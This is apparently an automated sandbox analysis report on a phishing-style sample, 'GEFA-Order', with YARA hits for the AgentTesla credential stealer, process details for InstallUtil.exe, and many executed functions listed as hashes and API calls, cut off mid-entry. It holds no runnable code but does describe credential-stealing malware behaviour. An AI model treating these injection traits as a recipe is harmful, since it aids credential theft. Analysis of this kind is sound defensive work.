Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:02:05
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xe90000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2583924445.00000000031E7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.2%
Total number of Nodes:	529
Total number of Limit Nodes:	55

Executed Functions

Function 06F2C300 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

4, xrefs: 06F2CCD5

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f20000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 2ff68f8da6c61fc3544bfc531d0f273e40f67a4b3cf5023dfa438fbd644e8774
Instruction ID: b3ffea7c489a805ab0d1b2a92f634e6449c27164dff8d7bbaca27e58f0697820
Opcode Fuzzy Hash: 2ff68f8da6c61fc3544bfc531d0f273e40f67a4b3cf5023dfa438fbd644e8774
Instruction Fuzzy Hash: 6CB2E374A00229CFDB94CFA8C994BADB7B6BF88700F158599E505AB3A5DB70DC81CF50

Function 06DD5D62 Relevance: 2.4, Strings: 1, Instructions: 1101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 06DD68C8

Memory Dump Source

Source File: 00000000.00000002.1409705268.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: da9c90c88d2fd6236d8c0c575b7a7328e6f26d8c801a579d0791189c12764fda
Instruction ID: 4af04bac7fc60fc3dcc1bb37e28ce82754d5fd1d61dbb91ae8a375d992bd269d
Opcode Fuzzy Hash: da9c90c88d2fd6236d8c0c575b7a7328e6f26d8c801a579d0791189c12764fda
Instruction Fuzzy Hash: 05C2A0B4E002298FDB65DF68D884B9DBBB6FB89300F1081E9D509AB355DB309E85CF51

Function 06F142C0 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 06F143CC

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 58d8e492cce5cb2c0aef2c4487d90227374ee334972ea0b912edd20ab6690509
Instruction ID: 8b1f3d5b22a8c73050308a8f67c953939e693e3bc18f5cf5522725eb7743696f
Opcode Fuzzy Hash: 58d8e492cce5cb2c0aef2c4487d90227374ee334972ea0b912edd20ab6690509
Instruction Fuzzy Hash: B142C171D006298BDB64DF69C850BD9B7B2BF89310F1486EAD50DBB251DB30AE85CF90

Function 06F2C627 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06F2CCD5

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f20000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 65840fc4a84c086d6cfa366d5e5fce81a39891afd493cb3fc22acd1d4711953a
Instruction ID: b9e7468a3439157f9b19203a3fe07606eb464551456c6eb77e5b3cb7525c199f
Opcode Fuzzy Hash: 65840fc4a84c086d6cfa366d5e5fce81a39891afd493cb3fc22acd1d4711953a
Instruction Fuzzy Hash: BF22E574E00229CFEBA4CFA4C994BADB7B2BF48700F148199D509AB3A5DB719D81CF51

Function 06F28690 Relevance: 1.6, Strings: 1, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y-3|, xrefs: 06F287F5

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f20000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: y-3|
API String ID: 0-2856238494
Opcode ID: 68bd9287057a977a6dd03e5b37d9bf5510729c8b74cc03b1d0c78a9d2c33a419
Instruction ID: d76f69015a5503d279485e2093b2b472cee26c324e6a553d837ce4c39545a59c
Opcode Fuzzy Hash: 68bd9287057a977a6dd03e5b37d9bf5510729c8b74cc03b1d0c78a9d2c33a419
Instruction Fuzzy Hash: 0CF10570E05229CFEBA4CF69D844BA9BBF2BF89340F1081AAD41DA7255DB705D88CF41

Function 06F28687 Relevance: 1.6, Strings: 1, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y-3|, xrefs: 06F287F5

Memory Dump Source

Source File: 00000000.00000002.1410303773.0000000006F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f20000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: y-3|
API String ID: 0-2856238494
Opcode ID: acbfe229c53a5fd33d60850ee9b5176074eef7cf0e7c0f2f25bb901f0725adb4
Instruction ID: f7ca9159f6effaabbda1395e382387c85774cf32e6e27636fc9890b42836910c
Opcode Fuzzy Hash: acbfe229c53a5fd33d60850ee9b5176074eef7cf0e7c0f2f25bb901f0725adb4
Instruction Fuzzy Hash: B1F1E474E01229CFEBA4CF69D844B99BBF2BF89340F1081AAD419A7355DB745D88CF41

Function 06F173D8 Relevance: 1.6, APIs: 1, Instructions: 67nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06F17469

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: f6c3e3226915bb711ce81f0a70a2dca5da3d0750981687605b6e0c85747b46fd
Instruction ID: 0ab7780320c443b28c04aafed12e4157a4439aa900e158acae85b55527f0970e
Opcode Fuzzy Hash: f6c3e3226915bb711ce81f0a70a2dca5da3d0750981687605b6e0c85747b46fd
Instruction Fuzzy Hash: FB2122B1D013499FDB10DFAAD880ADEFBF5FF48310F24842AE519A7240C775AA14CBA1

Function 06F173E0 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06F17469

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: fd5fb8dc797410cea68f28443fca2f5c128b9d986e55498eeca0ac5a4f40f524
Instruction ID: a191470c58575bd5e7dbbd5548688b03ac92aacd032cc4c42bc46a3dc1f23aa1
Opcode Fuzzy Hash: fd5fb8dc797410cea68f28443fca2f5c128b9d986e55498eeca0ac5a4f40f524
Instruction Fuzzy Hash: CE21FFB1D003499FDB10DFAAD884ADEFBF5FF48310F24842AE519A7240C775A904CBA1

Function 06F183B0 Relevance: 1.6, APIs: 1, Instructions: 58nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06F18426

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8fac7667db6a4d9c8009bcd152ce8e512a4fb3392a92cd9c03cd19f6f9c663f9
Instruction ID: 9b5cbcc7d4f744ad876623ce4ae82a006b9dce5644b4330615d4d2379cd8fcb9
Opcode Fuzzy Hash: 8fac7667db6a4d9c8009bcd152ce8e512a4fb3392a92cd9c03cd19f6f9c663f9
Instruction Fuzzy Hash: B11136B1D003098FDB10DFAAC4847EEFBF4BF88250F54842AD559A7240CB796945CFA5

Function 06F183B8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06F18426

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 67bc7cfd61214d50575e576b9dd64103c28c12686cc5786048d646908f892a83
Instruction ID: 18875da397ae2208d72d3e6583a4e2ea6a97005e9c6eae64e7fa594f336dd908
Opcode Fuzzy Hash: 67bc7cfd61214d50575e576b9dd64103c28c12686cc5786048d646908f892a83
Instruction Fuzzy Hash: 191103B1D003098FDB10DFAAC4847AEFBF8BF48210F54842AD419A7240CB79A944CFA5

Function 06F1A188 Relevance: 1.5, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

N), xrefs: 06F1A2F7

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: N)
API String ID: 0-4241560727
Opcode ID: 3729ea424be42c5ca27e88c907352911a199e725f6097902a729ddc9655647ef
Instruction ID: 600092dbb3821fa7e3ace09bbcebec4d7facd6bc971082ef86ea12be7f1cf2f9
Opcode Fuzzy Hash: 3729ea424be42c5ca27e88c907352911a199e725f6097902a729ddc9655647ef
Instruction Fuzzy Hash: 0EB1F070E06218CFEB54CFA9D858BADBBF2BB49340F1091A9D409AB291CB755E85CF41

Function 06F1A198 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

N), xrefs: 06F1A2F7

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: N)
API String ID: 0-4241560727
Opcode ID: af09626fea246e917a0e9446291590849026c935ebd6a46e314cbba3c3d742ec
Instruction ID: c18856ca5bd321ff5c51d79cc54394e16dfbe8844a874fad3c31da6c9284fadc
Opcode Fuzzy Hash: af09626fea246e917a0e9446291590849026c935ebd6a46e314cbba3c3d742ec
Instruction Fuzzy Hash: EBB1F270E06318CFEB54CFA9D858BADBBF2BB49340F1091A9D409AB291CB755E85CF41

Function 06FF0C45 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

!, xrefs: 06FF13C3

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 4bda84f00fbb4851e5402442b6cafc8c6fe80509286b90ce4bb9aff359e9cdcc
Instruction ID: 070909a632cadf7ca8f8eacb38d46c66d800a5b38fbaaf78a9e1347f9b4d48e5
Opcode Fuzzy Hash: 4bda84f00fbb4851e5402442b6cafc8c6fe80509286b90ce4bb9aff359e9cdcc
Instruction Fuzzy Hash: A0C1E674A45228CFDBA4DF18D898BE9B7F2BF49300F1081E9D509A7261DB719E81CF45

Function 06F1A228 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

N), xrefs: 06F1A2F7

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: N)
API String ID: 0-4241560727
Opcode ID: e074507914b9fbc8c0fe244a9897ebd7f65b52bac22a616db13df3d09a64753c
Instruction ID: f1f7b8be76c61a14ece93a39d732fe236b2c1a47d0595b11c16c7b0cd457c3bf
Opcode Fuzzy Hash: e074507914b9fbc8c0fe244a9897ebd7f65b52bac22a616db13df3d09a64753c
Instruction Fuzzy Hash: DAB1E274E06218CFEB54DFA8D848BADBBF2FB49340F1091A9D409AB291CB755E85CF41

Function 06F142B0 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

h, xrefs: 06F143C0

Memory Dump Source

Source File: 00000000.00000002.1410262864.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: c933e2263d965e798154b5c74bf5a56b9d65c8b27d693ed5a9f72ea9597cdd40
Instruction ID: 67903ae5bcc9d52f7d56875e3dad4268715f3e0e3e668420052214bcff54513b
Opcode Fuzzy Hash: c933e2263d965e798154b5c74bf5a56b9d65c8b27d693ed5a9f72ea9597cdd40
Instruction Fuzzy Hash: FF61C571D016298BEB64DF6AC850BD9BBF2BF89310F14C2AAD50DB7250DB305A85CF90

Function 06DD3730 Relevance: 1.0, Instructions: 956COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1409705268.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa01828ab78a000ce027c964f0df294a6435f2e981dfd9fa7d7d073b5108a2e5
Instruction ID: 689a2ca9bad02720dde050d98125e8342716085b9acd824110381d694140bf9b
Opcode Fuzzy Hash: fa01828ab78a000ce027c964f0df294a6435f2e981dfd9fa7d7d073b5108a2e5
Instruction Fuzzy Hash: 68A29375A00228DFDB65DF69C984AD9BBB2FF89300F1581E9D509AB321DB319E81CF50

Function 06F3A010 Relevance: .7, Instructions: 696COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4226fc885f52aba6a61f3af7290e2cb994253c8ac8bd17fadaa3dcec906c3c80
Instruction ID: a7e1ce5a43f7493ceb54da5f154d0b09e9eb482280dfea695e8bc57535573058
Opcode Fuzzy Hash: 4226fc885f52aba6a61f3af7290e2cb994253c8ac8bd17fadaa3dcec906c3c80
Instruction Fuzzy Hash: F0427870E047158FDB58DFAAC494B6EBBF2BF88300F248529D59AD7390DB30A941CB91

Function 06DD7174 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1409705268.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f398eb68adc65278873f2df64cf5ccba7d0ae9d6d776e796ab62d56c9d20d02
Instruction ID: 3bec3e5bcb6562b576ab1cb86796c30c4545e20c22b9687d196a839e6988a5be
Opcode Fuzzy Hash: 1f398eb68adc65278873f2df64cf5ccba7d0ae9d6d776e796ab62d56c9d20d02
Instruction Fuzzy Hash: 0C329F74A442298FDBA5DF28D984BA9B7B6FF48300F1081E9D94DA7355DB30AE81CF50

Function 030BF6B0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1389579730.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30b0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc11ec2e9ac0cbc6c55813fb5c1d6f099dab1957b543c4c48c46f20ac7b1b9e
Instruction ID: ab5c728cd21aae7d4f9b8e4931932eafdcc9b5c3f93f4472d19844170b00a877
Opcode Fuzzy Hash: acc11ec2e9ac0cbc6c55813fb5c1d6f099dab1957b543c4c48c46f20ac7b1b9e
Instruction Fuzzy Hash: 1F1273B04037458EE320EF65ED4C1897BF1BB86319B905209DE612B2EDDBBC156ACF64

Function 06FF5910 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642917f31c51b0f166ace167e311108c9a006db17057571c1b62dc82131e730f
Instruction ID: a774f00a90eed51b28efe078db9afb45950e6050a0d2a4fb30a8ac3c62d8297f
Opcode Fuzzy Hash: 642917f31c51b0f166ace167e311108c9a006db17057571c1b62dc82131e730f
Instruction Fuzzy Hash: F0E11474E00218CFDB94DFA9D848BAEBBF2FF49300F108169D509AB255DB785985CF84

Function 06FF5920 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a27ae9b8d7649fc683b555fcfafab90d5fba846264224185c26b4f2bff8e86
Instruction ID: 2992f5fc2d8f15b900c06c63c9ae1cde76dd13c3eeb81400c7708724aa4d0c1c
Opcode Fuzzy Hash: 60a27ae9b8d7649fc683b555fcfafab90d5fba846264224185c26b4f2bff8e86
Instruction Fuzzy Hash: ADE10474E00218CFDB94DFA9D848BAEBBF2FF49310F108169D509AB255DB785985CF84

Function 0724D798 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410817108.0000000007230000.00000040.00000800.00020000.00000000.sdmp, Offset: 07230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7230000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e06558cb393aa7c7d2a334c5780a3750048404e3a09009f505dad3a4ec466b
Instruction ID: c00f53ab016bca4d87ac0fcdaca02065babf02e169fc76145feaa6d231ca7065
Opcode Fuzzy Hash: c9e06558cb393aa7c7d2a334c5780a3750048404e3a09009f505dad3a4ec466b
Instruction Fuzzy Hash: 72D1A274A10218CFDB58DFA9D994A9DBBB2FF88300F1081A9D409AB365DB75AD81CF50

Function 06FF4DE9 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa39668325247f229d7bc9fda98085bb0b5daeb5d824b83aa63cfa3a1292b513
Instruction ID: 5eb0ac57e498ac0d7b674f753bc840247c5f6c3b0aca13f4f985a021825bf169
Opcode Fuzzy Hash: fa39668325247f229d7bc9fda98085bb0b5daeb5d824b83aa63cfa3a1292b513
Instruction Fuzzy Hash: 22C10174E11218CFDBA4DF69D884BAEBBF2BF89304F109169D519A7261DB305E81CF80

Function 06F3FA60 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227a6e3bc23ada3cca5b98a97cdf27f37b175bbcb548b1931c3a480827539f05
Instruction ID: 9f4ef84fa8853f295b856d0801b5b81dd922c8382e515b0313fb303341c6b586
Opcode Fuzzy Hash: 227a6e3bc23ada3cca5b98a97cdf27f37b175bbcb548b1931c3a480827539f05
Instruction Fuzzy Hash: A0B11870D06229CFEB54CFA9D948BADBBF2FF4A305F10816AD409AB251DB745985CF40

Function 06FF4DF8 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c97e416dc57a82f6ab6defec548796e26b574267dbf98c041ef5075df72dc0
Instruction ID: 4bc931c78d305107c729d471d66da7a3a409afb5d4e6bb46c29684b5bf5ae18e
Opcode Fuzzy Hash: a6c97e416dc57a82f6ab6defec548796e26b574267dbf98c041ef5075df72dc0
Instruction Fuzzy Hash: D3C10174E11218CFDB94DF69D884BAEBBF2BF89304F109169D519A7262DB305D81CF80

Function 06F3FA4F Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f1355fbeb6bec2ec11c74292d93d50c9315f350d42511ff2da38a3c324829d6
Instruction ID: c11544a789abacec1b2aae710ed6e773d2ce1688d23924ca12a7d3ce26949235
Opcode Fuzzy Hash: 8f1355fbeb6bec2ec11c74292d93d50c9315f350d42511ff2da38a3c324829d6
Instruction Fuzzy Hash: D1B107B0D06229CFEB54CFA9D948BADBBF2FF49305F20816AD409AB251DB745985CF40

Function 06DDE4D0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1409705268.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b128868d7845be6c24e44db602c74930a62d03b84d214cb33fc7ec3c9244f49
Instruction ID: aac298ae6cd1792e4366098c309767e1e50d10a129d59a991400d982151ce2b3
Opcode Fuzzy Hash: 3b128868d7845be6c24e44db602c74930a62d03b84d214cb33fc7ec3c9244f49
Instruction Fuzzy Hash: CCA1F674E05218CFEB94EFA9D844BADBBF2BF89300F108169D509AB355EB709985CF40

Function 06F3FE1E Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92695569ac0ce74a3ee4aba55f9ff4f303d9ca8f481cbf65c25fe1d422a832d0
Instruction ID: 924b3456a3b3b16780152f06fc98e90b8c186919aa2f109acbe2a753968007c9
Opcode Fuzzy Hash: 92695569ac0ce74a3ee4aba55f9ff4f303d9ca8f481cbf65c25fe1d422a832d0
Instruction Fuzzy Hash: 08A1E870D06229CFEB54CFA9D948BADBBF2FF49305F20816AD40AAB251DB745985CF40

Function 06F3DD60 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df4f21b3b9025fe7b8d56ae9463b7cf0a8fe12f30a216226f3a8325582904d3b
Instruction ID: 6715197ed4aed21cf4e0cfaf2c5083c0ddd7aa4508503b400da1d4f4786ddb59
Opcode Fuzzy Hash: df4f21b3b9025fe7b8d56ae9463b7cf0a8fe12f30a216226f3a8325582904d3b
Instruction Fuzzy Hash: BC511374E05228CFEB94DFA9D8847EDBBF6BF8A301F10912AD409A7244D7745885CF84

Function 06F3DD70 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1410356007.0000000006F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f30000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c37c25cf5af187510e852066ee0cea245f69671d983e2b4ec647788ca516455
Instruction ID: 70de7b934a5f934d6e9fbfe910616ddaffb49fdabb0e50eebf26e622daa0fe3a
Opcode Fuzzy Hash: 1c37c25cf5af187510e852066ee0cea245f69671d983e2b4ec647788ca516455
Instruction Fuzzy Hash: 7F511F75E05228CFEB94DFA9E8846EDFBF6BF9A300F10912AD409A7244D7745885CF84

Function 06FF6ED7 Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>, xrefs: 06FF7256
0, xrefs: 06FF6EE1

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 0$>
API String ID: 0-3953377423
Opcode ID: 2f0856ad16f36d32b85ce14811ea55777487d01c9d8610093279c57a5ac32123
Instruction ID: 86cee01b6716e2c19f09535e97b5fd68c1735c6ff7096e9f7c9742be9b4711c5
Opcode Fuzzy Hash: 2f0856ad16f36d32b85ce14811ea55777487d01c9d8610093279c57a5ac32123
Instruction Fuzzy Hash: 6B018C74A112289FEBA5DF54DCA4BACBBB1BF49304F1081D9D50DAB2A0DB716E85CF40

Function 06FF71A3 Relevance: 2.5, Strings: 2, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 06FF71AE
6, xrefs: 06FF6D26

Memory Dump Source

Source File: 00000000.00000002.1410653896.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2$6
API String ID: 0-3875314899
Opcode ID: a65c224f1fe09c03a18f9687f8a6ee6ac1ca2ccc6bdc5896980090588d85ce3a
